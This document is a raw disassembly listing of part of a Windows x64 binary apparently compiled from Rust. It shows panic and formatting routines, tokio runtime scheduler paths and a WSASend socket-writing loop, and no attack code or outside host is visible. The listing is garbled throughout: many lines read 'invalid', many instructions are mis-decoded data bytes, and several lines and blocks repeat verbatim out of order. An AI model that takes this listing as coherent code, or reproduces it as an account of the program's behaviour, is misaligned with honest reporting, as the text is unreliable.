cmp ecx, 0x110000
adc dword [rax], eax
invalid
mov r10b, 1
test al, al
invalid
jne 0x1400e2115
invalid
or al, 0x41
cmp ecx, 0x110000
adc dword [rax], eax
invalid
cmp r9d, 0x110000
add byte [rbp + 0x49], dh
jne 0x1400e215b
xor r10d, r10d
mov eax, r10d
movaps xmm6, xmmword [rbp + 0x30]
sub byte [rbp + 0x30], dh
ror byte [rdi], 1
sub byte [rbp + 0x30], dh
movaps xmm7, xmmword [rbp + 0x40]
movaps xmm8, xmmword [rbp + 0x50]
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm0, xmmword [rbp + 0x50]
push rax
movaps xmm9, xmmword [rbp + 0x60]
movaps xmm10, xmmword [rbp + 0x70]
movaps xmm2, xmmword [rbp + 0x70]
movaps xmm11, xmmword [rbp + 0x80]
movaps xmm12, xmmword [rbp + 0x90]
movaps xmm13, xmmword [rbp + 0xa0]
movaps xmm5, xmmword [rbp + 0xa0]
invalid
movaps xmm5, xmmword [rbp + 0xa0]
lodsd eax, dword [rsi]
movabs al, byte [0x138c48148000000]
add byte [rax], al
add rsp, 0x138
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x7f], al
stc
add byte [rax], 0
add byte [rdx + 0x1e], dh
add byte [rcx - 0x7f], al
stc
add byte [rax], 0
add byte [rdx + 0x1e], dh
mov eax, 2
cmp r9d, 0x800
jb 0x1400e2187
cmp r9d, 0x10000
add byte [rax], al
add dword [rax], eax
mov eax, 4
sbb rax, 0
add r8, rax
je 0x1400e21c4
sal byte [rbx + 0x31], 1
cmp byte [rcx + r8], 0xbf
jg 0x1400e21c4
lea rax, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_strpattern.rs
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.140104b90
sub dword [rdx], eax
invalid
add rcx, r15
cmp rdx, rcx
retf 0xf48
retf 0x8d4c
add eax, 0x630f3
xor byte [rsi], al
add al, ch
scasb al, byte [rdi]
and al, 2
add byte [rbp - 0x2c], dh
scasb al, byte [rdi]
and al, 2
add byte [rbp - 0x2c], dh
cmp r8, rdx
je 0x1400e2115
movzx eax, byte [rcx + r8]
test al, al
jns 0x1400e2115
cmp al, 0xe0
jmp 0x1400e2115
add rcx, rbx
cmp rdx, rcx
cmova rcx, rdx
cmova ecx, edx
cmova ecx, edx
lea r8, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_strpattern.rs
call fcn.140104670
int3
invalid
int3
int3
mov eax, dword [rcx]
shl rax, 1
test rax, rax
jne case.0x1400b56c9.964
mov r8, qword [rcx + 8]
mov rcx, qword [0x14017d208]
scasd eax, dword [rdi]
or dword [rax], eax
scasd eax, dword [rdi]
or dword [rax], eax
xor edx, edx
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x2d1ba
and eax, 0x2d1ba
int3
mov dword [rbp - 8], 0xfffffffe
mov rax, rdx
mov qword [rbp - 0x30], rdx
push rbp
ror byte [rax - 0x73], 1
push rbp
fadd dword [rcx + 0xf]
adc byte [rax], al
invalid
push rbp
ror byte [rax - 0x73], 1
push rbp
fadd dword [rcx + 0xf]
adc byte [rax], al
movups xmmword [rbp - 0x28], xmm0
mov r8, qword [r8 + 0x10]
adc byte [rcx + rcx*4 + 0x45], cl
call 0x181c431c7
and byte [rax - 0x75], cl
xor dword [rbp + 0x31], eax
leave
fmul dword [rbp - 0x75]
adc byte [rcx + rcx*4 + 0x45], cl
call 0x181c431c7
and byte [rax - 0x75], cl
xor dword [rbp + 0x31], eax
leave
movabs r10, 0x8000000000000000
cmp rsi, r10
add byte [rax + 0x48d6394c], al
or byte [rcx + rdi - 0x2a], 0x48
cmp esi, edx
mov qword [rbp - 0x10], rcx
mov dword [rbp - 0x10], ecx
cmovne r9, rcx
mov rcx, rax
call fcn.1400d7c90
invalid
dec dword [rax - 0x2f]
out 0x48, al
test esi, esi
invalid
out 0x48, al
test esi, esi
je 0x1400e22ca
sbb ecx, dword [rax - 0x75]
invalid
mov rcx, qword [rbp - 0x10]
mov r8, qword [rcx + 8]
or byte [r8 - 0x75], cl
or eax, 0x9af4a
or byte [r8 - 0x75], cl
or eax, 0x9af4a
xor edx, edx
mov ebx, eax
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, ebx
rol dword [rdx], 1
add byte [rcx - 0x3b7cb728], cl
push rax
add rsp, 0x50
add esp, 0x50
pop rbx
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x50]
mov rcx, qword [rbp - 0x10]
call fcn.1400e2220
nop
add rsp, 0x20
add esp, 0x20
invalid
pop rbx
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
or r14b, r15b
invalid
lea rbp, [rsp + 0x80]
mov qword [rbp + 8], 0xfffffffffffffffe
mov dword [rbp], 0
add byte [rax], al
add dh, al
add al, 0
add byte [rax], al
add dh, al
add al, 0
mov qword [rbp - 0x18], rdx
lea rax, [rbp - 0x18]
mov qword [rbp - 0x28], rax
lea rax, [fcn.140012c90]
mov qword [rbp - 0x20], rax
loopne case.0x1400dc89b.87
lea eax, [0x140146a08]
loopne case.0x1400dc89b.87
lea eax, [0x140146a08]
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 2
mov qword [rbp - 0x38], 0
lea rax, [rbp - 0x28]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 1
add byte [rax - 0x73], cl
fmul dword [r8 - 0x77]
mov r8d, 0xc045c748
add dword [rax], eax
add byte [rax], al
mov rax, rbp
mov eax, ebp
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 0
add byte [rax], al
add byte [rax], al
lea rdx, [0x140145880]
lea rcx, [rbp - 0x10]
lea r8, [rbp - 0x58]
call fcn.140013960
mov rcx, qword [rbp - 8]
test al, al
je 0x1400e23b8
test rcx, rcx
lea rax, str.formatter_error
cmovne rax, rcx
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x10]
jmp 0x1400e23c1
test rcx, rcx
je 0x1400e23c6
lea rcx, [rbp - 8]
call fcn.1400d49e0
nop
add rsp, 0x90
pop rbp
ret
add byte [rax - 0x7d], cl
jge 0x1400e23dd
lea rax, [0x140013900]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rcx
lea rcx, [0x1400e2ae0]
mov qword [rbp - 8], rcx
clc
clc
mov qword [rbp], rdx
mov qword [rbp + 8], rax
lea rax, str.thread__panicked_at_:_n
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 4
mov qword [rbp - 0x38], 0
mov dword [rbp - 0x38], 0
mov dword [rbp - 0x38], 0
enter 0, 0
add byte [rax - 0x73], cl
loopne 0x1400e24b7
lea rax, [rbp - 0x20]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 3
mov r14, qword [r8 + 0x48]
lea rdx, [rbp - 0x58]
mov rcx, rsi
call r14
mov qword [rbp - 0x28], rax
test rax, rax
je 0x1400e249a
lea rcx, [rbp - 0x28]
call fcn.1400d49e0
mov rax, qword [rbx + 0x18]
mov eax, dword [rbx + 0x18]
movzx eax, byte [rax]
lea rcx, [0x140175a98]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
invalid
enter 0xffffffffffffe0ff, 0x48
loopne 0x1400e24fa
mov ecx, esi
mov rdx, rdi
xor r8d, r8d
call fcn.1400e2b70
mov qword [rbp - 0x20], rax
test rax, rax
jne 0x1400e24e1
jmp case.0x1400e24af.3
mov ecx, esi
mov rdx, rdi
mov r8b, 1
call fcn.1400e2b70
mov qword [rbp - 0x20], rax
test rax, rax
je case.0x1400e24af.3
lea rcx, [rbp - 0x20]
jmp 0x1400e252f
rol byte [rsi + 0x9ab2905], 0
test al, al
je case.0x1400e24af.3
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
lea rax, [0x14016f768]
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea rdx, [rbp - 0x20]
mov rcx, rsi
call r14
mov qword [rbp - 0x58], rax
test rax, rax
je case.0x1400e24af.3
call fcn.1400d49e0
nop
add rsp, 0x90
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
movzx eax, byte [0x14017d1c2]
mov rax, qword [rdx + 0x48]
mov byte [rbp - 1], r8b
lea rdx, [rbp - 1]
mov qword [rbp - 0x18], rdx
lea rdx, [0x1400e0040]
mov qword [rbp - 0x10], rdx
lea rdx, [0x14016f7a8]
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x40], 1
mov qword [rbp - 0x28], 0
lea rdx, [rbp - 0x18]
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x30], 1
lea rdx, [rbp - 0x48]
call rax
cmp byte [rbp - 8], 0
jne 0x1400e2c1b
mov rcx, qword [0x14017d2a8]
shl rcx, 1
test rcx, rcx
jne 0x1400e2c99
xor ecx, ecx
xchg byte [0x14017d1c1], cl
cmp cl, 2
jne 0x1400e2c3b
lea rcx, [0x14017d1c1]
mov rsi, rax
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rax, rsi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop rbp
ret
add al, byte [rax]
mov rdx, rdi
mov r8d, ebx
mov rcx, rsi
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x1400e2bac
invalid
invalid
invalid
clc
jmp 0x1400e2bb3
mov rsi, rax
call fcn.14010c880
mov ecx, eax
mov rax, rsi
test cl, cl
jne 0x1400e2c1b
mov byte [0x14017d1c2], 1
jmp 0x1400e2c1b
jmp fcn.1400d4b40
invalid
int3
int3
leave
add rax, 0xfffffffffffffff0
shl r8, 4
add al, 0x48
lea edx, [0x14016f768]
add al, 0x48
lea edx, [0x14016f768]
nop dword [rax]
test r8, r8
je 0x1400e2d4c
mov r10d, dword [rax + 0x10]
add rax, 0x10
add r8, 0xfffffffffffffff0
test r10, r10
je 0x1400e2d30
invalid
invalid
mov rdx, qword [rax + 8]
jmp 0x1400e2d4f
xor r10d, r10d
mov ecx, 0xfffffff4
invalid
invalid
dec dword [rbp - 0x77]
rcr byte [rbp - 0x17], 1
jrcxz 0x1400e2d78
invalid
invalid
invalid
jrcxz 0x1400e2d78
invalid
sub rsp, 0x40
lea rbp, [rsp + 0x40]
mov rax, qword [rcx + 0x10]
adc byte [rax - 0x7b], cl
invalid
jne 0x1400e2d7f
lea rcx, str.library_std_srcpanicking.rsBox_dyn_Any__unnamed_
call fcn.140104a40
add al, byte [rax]
invalid
mov rdx, qword [rcx + 0x18]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rdx
lea rcx, [rbp - 0x18]
call fcn.1400e2da0
int3
sub rsp, 0x20
lea rbp, [rsp + 0x20]
and al, ch
add dword [rax], eax
add byte [rax], al
and al, ch
add dword [rax], eax
add byte [rax], al
int3
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rax, qword [rcx]
mov r8, qword [rax + 8]
mov rdx, qword [rax + 0x18]
cmp r8, 1
je 0x1400e2de8
test r8, r8
jne 0x1400e2e2b
test rdx, rdx
jne 0x1400e2e2b
lea rax, [0x14016f768]
xor edx, edx
jmp 0x1400e2df7
test rdx, rdx
jne 0x1400e2e2b
mov rdx, qword [rax]
mov rax, qword [rdx]
mov rdx, qword [rdx + 8]
push rdx
invalid
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rdx
push rbp
loopne 0x1400e2e48
mov eax, dword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov r8, qword [rax + 0x10]
movzx ecx, byte [rax + 0x20]
movzx eax, byte [rax + 0x21]
mov byte [rsp + 0x28], al
mov byte [rsp + 0x20], cl
lea rdx, [0x140146c10]
lea rcx, [rbp - 0x28]
call fcn.1400e2eb0
mov qword [rbp - 0x10], rax
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0x45
fmul dword [rax - 0x75]
or byte [r11 + rcx*4 + 0x49], cl
adc byte [rbx + rcx*4 + 0x40], cl
adc byte [rdi], cl
mov dh, 0x48
and byte [rdi], cl
mov dh, 0x40
and dword [rax - 0x77d7dbbc], ecx
and al, 0x20
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0x45
fmul dword [rax - 0x75]
or byte [r11 + rcx*4 + 0x49], cl
adc byte [rbx + rcx*4 + 0x40], cl
adc byte [rdi], cl
mov dh, 0x48
and byte [rdi], cl
mov dh, 0x40
and dword [rax - 0x77d7dbbc], ecx
and al, 0x20
lea rdx, fcn.1400e2220
lea rcx, [rbp - 0x28]
call fcn.1400e2eb0
ud2
or ecx, dword [rdi]
invalid
mov rax, qword [rbp - 0x28]
shl rax, 1
test rax, rax
jne 0x1400e2e90
add byte [rcx], dh
sar bh, cl
adc eax, 0x2c55d
nop
add rsp, 0x30
pop rbp
ret
push rdi
push rbx
sub rsp, 0x118
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x90], 0xfffffffffffffffe
movzx eax, byte [rbp + 0xf8]
clc
add byte [rax], al
add byte [rdi], cl
mov dh, 0x9d
lock add byte [rax], al
add byte [rax], al
add al, dh
inc qword [0x14017d2a8]
invalid
or dword [rax], eax
clc
add byte [rax], al
add byte [rdi], cl
mov dh, 0x9d
lock add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, dh
inc qword [0x14017d2a8]
invalid
or dword [rax], eax
movabs dword [0x64b8e0f0009], eax
jle 0x1400e3539
invalid
mov rdi, rdx
mov rsi, rcx
mov ecx, dword [0x14017d2b4]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
cmp byte [rcx + 0x80], 0
jne 0x1400e35c9
add byte [rdi], cl
test dword [rbp - 0x74fffffa], esi
mov ecx, dword [0x14017d2b4]
or eax, 0x9a39a
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
inc qword [rcx + 0x78]
mov byte [rcx + 0x80], 1
add byte [rax], al
add byte [rcx], al
cmp dword [rax], 0x81c60000
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dword [rbp + rcx*4 + 0x35], ecx
sub al, 0xc8
or byte [rax], al
add byte [rcx], al
lea r14, [0x14016f768]
mov qword [rbp + 0x28], r14
mov dword [rbp + 0x28], esi
lea rcx, [0x140146c60]
mov qword [rbp + 0x30], rcx
mov qword [rbp + 0x38], r8
cmp byte [r9 + rcx*4 + 0x4d], r9b
mov byte [rbp + 0x48], bl
invalid
cmp byte [r9 + rcx*4 + 0x4d], r9b
mov byte [rbp + 0x48], bl
mov byte [rbp + 0x49], al
mov eax, dword [0x14017d1d0]
cmp eax, 0x3ffffffd
invalid
invalid
invalid
ja 0x1400e2f73
invalid
lea ecx, [rax + 1]
lock cmpxchg dword [0x14017d1d0], ecx
je 0x1400e2f78
call fcn.14010d060
movzx eax, byte [0x14017d1d8]
cmp qword [0x14017d1e0], 0
add byte [rax], al
mov rax, qword [rdi + 0x20]
jne 0x1400e2fde
mov byte [rbp + 0x8f], 1
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call rax
mov rsi, rax
mov rdi, rdx
mov edi, edx
mov edi, edx
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], rdx
cmp byte [rbp + 0x49], 0
jne 0x1400e3070
add byte [rax], al
add byte [rcx], al
jmp 0x1400e31f2
invalid
add dh, al
test dword [rdi + 0x1000000], ecx
mov byte [rbp + 0x8f], 1
mov rcx, rsi
call rax
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], rdx
mov rcx, qword [0x14017d1e0]
mov rax, qword [0x14017d1e8]
mov rax, qword [rax + 0x28]
sub sil, al
test dword [rdi + 0x1000000], ecx
sub sil, al
test dword [rdi + 0x1000000], ecx
lea rdx, [rbp + 0x28]
call rax
mov edx, 0xffffffff
lock xadd dword [0x14017d1d0], edx
dec edx
mov eax, edx
and eax, 0xbfffffff
cmp eax, 0x80000000
jne 0x1400e3041
mov byte [rbp + 0x8f], 0
lea rcx, [0x14017d1d0]
or dword [rax], eax
or dword [rax], eax
call fcn.14010cf90
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x80], 0
test bl, bl
je 0x1400e30d4
invalid
lea ecx, [rbp - 0x18]
mov r8d, 0xe
add al, ch
std
imul edi, edi, 0xffffffff
add al, ch
std
imul edi, edi, 0xffffffff
mov rax, qword [rbp - 0x18]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x1400e3184
call 0x1400eea03
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc83948], al
test dword [rdx - 0x50000000], edi
add eax, dword [rax - 0x4a]
add ch, cl
or dword [rcx], eax
add byte [rax], al
mov dword [rbp + 0x58], 0
mov byte [rbp + 0x5c], 0
pop rsp
add byte [rax - 0x73], cl
add eax, 0x63c7a
invalid
mov al, 3
mov sil, 2
jmp 0x1400e31dd
pop rsp
add byte [rax - 0x73], cl
add eax, 0x63c7a
invalid
add byte [rax - 0x77], cl
call 0x13053f836
lock add dword [rax], eax
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], 1
lock add dword [rax], eax
add byte [rax], al
lock add dword [rax], eax
add byte [rax], al
mov qword [rbp - 8], r14
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
lea rax, [rbp + 0x58]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 0
lea rdx, [0x140145880]
lea rcx, [rbp - 0x40]
lea ecx, [rbp - 0x40]
lea ecx, [rbp - 0x40]
lea r8, [rbp - 0x18]
call fcn.140013960
invalid
or bl, dh
dec dword [rax - 0x75]
enter 0xffffffffffffc084, 0x74
invalid
invalid
test rcx, rcx
lea rax, str.formatter_error
invalid
add byte [rax + 0xf], cl
shr r11d, 0x2e
test rcx, rcx
je 0x1400e3165
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
cmp rcx, 4
je 0x1400e31a5
lea rcx, [0x14016f768]
mov qword [rbp + 0x28], rcx
lea rcx, [0x140146c60]
mov qword [rbp + 0x30], rcx
mov qword [rbp + 0x38], r8
mov qword [rbp + 0x40], r9
mov byte [rbp + 0x48], bl
mov byte [rbp + 0x49], al
mov dword [rbp + 0x18], 0
mov byte [rbp + 0x1c], 0
lea rax, [rbp + 0x28]
mov qword [rbp - 0x40], rax
lea rax, [0x1400162c0]
mov qword [rbp - 0x38], rax
lea rax, [0x140146cb8]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], 2
mov qword [rbp + 8], 0
lea rax, [rbp - 0x40]
mov qword [rbp - 8], rax
mov qword [rbp], 1
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x18]
call fcn.1400d3740
mov qword [rbp + 0x58], rax
test rax, rax
je 0x1400e36a4
lea rcx, [rbp + 0x58]
jmp 0x1400e369f
test r8, r8
je 0x1400e35fd
mov rdx, qword [r8 + 8]
mov rcx, qword [r8 + 0x18]
cmp rdx, 1
je 0x1400e35f4
test rdx, rdx
jne 0x1400e35fd
test rcx, rcx
je 0x1400e36ad
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x28], 0
xor ecx, ecx
lea rdx, [0x14016f768]
mov qword [rbp - 0x40], rdx
lea rdx, [0x140146c60]
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x28], r9
mov byte [rbp - 0x20], bl
mov byte [rbp - 0x1f], al
mov dword [rbp + 0x88], 0
mov byte [rbp + 0x8c], 0
lea rax, [rbp - 0x40]
mov qword [rbp + 0x58], rax
lea rax, [0x1400162c0]
mov qword [rbp + 0x60], rax
lea rax, [0x140146d10]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], 2
mov qword [rbp + 8], 0
lea rax, [rbp + 0x58]
mov qword [rbp - 8], rax
mov qword [rbp], 1
lea rcx, [rbp + 0x88]
lea rdx, [rbp - 0x18]
call fcn.1400d3740
mov qword [rbp + 0x78], rax
test rax, rax
je 0x1400e36a4
lea rcx, [rbp + 0x78]
call fcn.1400d49e0
mov ecx, 7
int 0x29
ud2
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
movaps xmmword [rsp + 0x50], xmm6
mov qword [rsp + 0x48], r8
mov rsi, qword [rcx + 0x10]
mov rbx, qword [rcx + 0x18]
cmp rbx, 0xffffffffffffffff
je 0x1400e7fd7
mov r14, qword [rdx]
mov r15d, 0xffffffff
cmp r9, r15
cmovb r15, r9
mov r12, qword [rcx + 0x20]
xorps xmm6, xmm6
jmp 0x1400e7e97
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
dec r13
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
lea r13, [rsp + 0x38]
mov rcx, r13
mov rdx, rsi
mov r8, r14
mov r9b, 1
call fcn.1400e7550
movzx eax, byte [rsp + 0x41]
cmp al, 3
je 0x1400e7ff3
mov rbp, qword [rsp + 0x38]
cmp al, 2
je 0x1400e800d
movzx edi, byte [rsp + 0x40]
mov dword [rsp + 0x38], 0
movups xmmword [rsp + 0x28], xmm6
mov dword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, qword [rsp + 0x48]
mov r8d, r15d
mov r9, r13
call qword [sym.imp.ws2_32.dll_WSASend]
cmp eax, 0xffffffff
jne 0x1400e8017
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov r13d, eax
shl r13, 0x20
or r13, 2
mov rcx, r13
call fcn.140048c00
cmp al, 0xd
jne 0x1400e7f4e
test r12, r12
je 0x1400e7f4e
mov rcx, qword [r12]
mov rdx, qword [r12 + 8]
lock inc qword [rdx]
jle 0x1400e8037
add rcx, 0x10
mov r8, qword [r12 + 0x10]
movzx r9d, byte [r12 + 0x18]
call fcn.140047c10
test rax, rax
cmovne r13, rax
mov rcx, r13
call fcn.14001a320
cmp al, 0xd
jne 0x1400e8006
movzx ecx, dil
and ebp, 0x23
mov rax, qword [rsi + 0x90]
shl ecx, 0x10
xor rbp, 0x2f
nop word cs:[rax + rax]
mov edx, eax
shr edx, 0x10
cmp dil, dl
jne 0x1400e7f9c
mov edx, eax
and edx, ebp
or rdx, rcx
lock cmpxchg qword [rsi + 0x90], rdx
jne 0x1400e7f80
mov eax, r13d
and eax, 3
cmp eax, 1
jne 0x1400e7e97
mov rbp, qword [r13 - 1]
mov rdi, qword [r13 + 7]
mov rcx, rbp
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400e7e82
cmp qword [rdi + 0x10], 0x11
jb 0x1400e7e70
mov rbp, qword [rbp - 8]
jmp 0x1400e7e70
mov r8, qword [rdx]
lea rcx, [rsp + 0x38]
mov rdx, rsi
mov r9b, 1
call fcn.1400e7550
movzx eax, byte [rsp + 0x41]
cmp al, 3
jne 0x1400e7ffd
mov eax, 2
mov r13, rbp
jmp 0x1400e801e
cmp al, 2
jne 0x1400e8039
mov r13, qword [rsp + 0x38]
mov eax, 1
jmp 0x1400e801e
mov eax, 1
mov r13, rbp
jmp 0x1400e801e
mov r13d, dword [rsp + 0x38]
xor eax, eax
mov rdx, r13
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srciopoll_evented.rs
call fcn.140104a40
int3
mov qword [rsi + 0x18], 0xffffffffffffffff
mov rax, qword [rsi + 0x30]
test rax, rax
je 0x1400e8cee
dec rax
mov qword [rsi + 0x30], rax
mov rcx, qword [rsi + 0x28]
shl rax, 4
mov rdx, qword [rcx + rax]
mov rcx, qword [rcx + rax + 8]
call qword [rdx + 8]
inc qword [rsi + 0x18]
je 0x1400e8cb0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulerdefer.rs
lea ecx, [0x1401498b8]
call fcn.1401048f0
mov qword [rsi + 0x18], 0
cmp qword [rsi + 8], 0
jne 0x1400e8e74
mov qword [rsi + 8], 0xffffffffffffffff
mov rbx, qword [rsi + 0x10]
mov qword [rsi + 0x10], 0
test rbx, rbx
je 0x1400e8e80
mov qword [rsi + 8], 0
mov r14, qword [rdi + 0x20]
test r14, r14
je 0x1400e8dad
cmp qword [rsi + 8], 0
jne 0x1400e8e68
mov rdi, qword [rdi + 0x28]
mov qword [rsi + 8], 0xffffffffffffffff
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x1400e8d5d
call fcn.1400e8f30
mov rax, qword [rsi + 8]
inc rax
jmp 0x1400e8d5f
xor eax, eax
mov qword [rsi + 0x10], rbx
mov qword [rsi + 8], rax
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [r14 + rax]
add rcx, 0x10
call qword [rdi + 0x28]
cmp qword [rsi + 8], 0
jne 0x1400e8e74
mov qword [rsi + 8], 0xffffffffffffffff
mov rbx, qword [rsi + 0x10]
mov qword [rsi + 0x10], 0
test rbx, rbx
je 0x1400e8e80
mov qword [rsi + 8], 0
movups xmm0, xmmword [rsp + 0x78]
movups xmm1, xmmword [rsp + 0x88]
movups xmm2, xmmword [rsp + 0x98]
movups xmm3, xmmword [rsp + 0xa8]
movaps xmmword [rsp + 0x60], xmm3
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
cmp dword [rbx], 2
je 0x1400e8deb
mov rcx, rbx
call fcn.140002df0
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movaps xmm3, xmmword [rsp + 0x60]
movups xmmword [rbx + 0x30], xmm3
movups xmmword [rbx + 0x20], xmm2
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx], xmm0
mov rax, rbx
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.1401048f0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.1401048f0
lea rcx, str.core_missing
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140104a60
lea rcx, str.driver_missing
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xe
call fcn.140104a60
lea rcx, str.A_Tokio_1.x_context_was_found__but_IO_is_disabled._Call__enable_io__on_the_runtime_builder_to_enable_IO.A_Tokio_1.x_context_was_found__but_timers_are_disabled._Call__enable_time__on_the_runtime_builder_to_enable_timers.Oh_no__We_never_placed_the_Core_back__this_is_a_bug_
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimeiodriver.rs
mov edx, 0x68
call fcn.140104a60
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0xb8], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0xc0], rax
lea rax, [0x140149010]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
lea rcx, [rsp + 0x30]
call fcn.140104620
int3
and al, 0x20
mov qword [rsp + 0x28], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
invalid
cmp byte [rax - 0x73], cl
adc eax, 0x5e411
invalid
invalid
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
add eax, 0x4c8d4800
and al, 0x20
lea rcx, [rsp + 0x20]
call fcn.140104620
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.1401048f0
int3
int3
int3
or eax, 0x5ffcb
call fcn.140104a40
lea rcx, str.assertion_failed:_self.tail.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcutillinked_list.rs
sbb cl, bl
add eax, 0x25ba00
add byte [rax], al
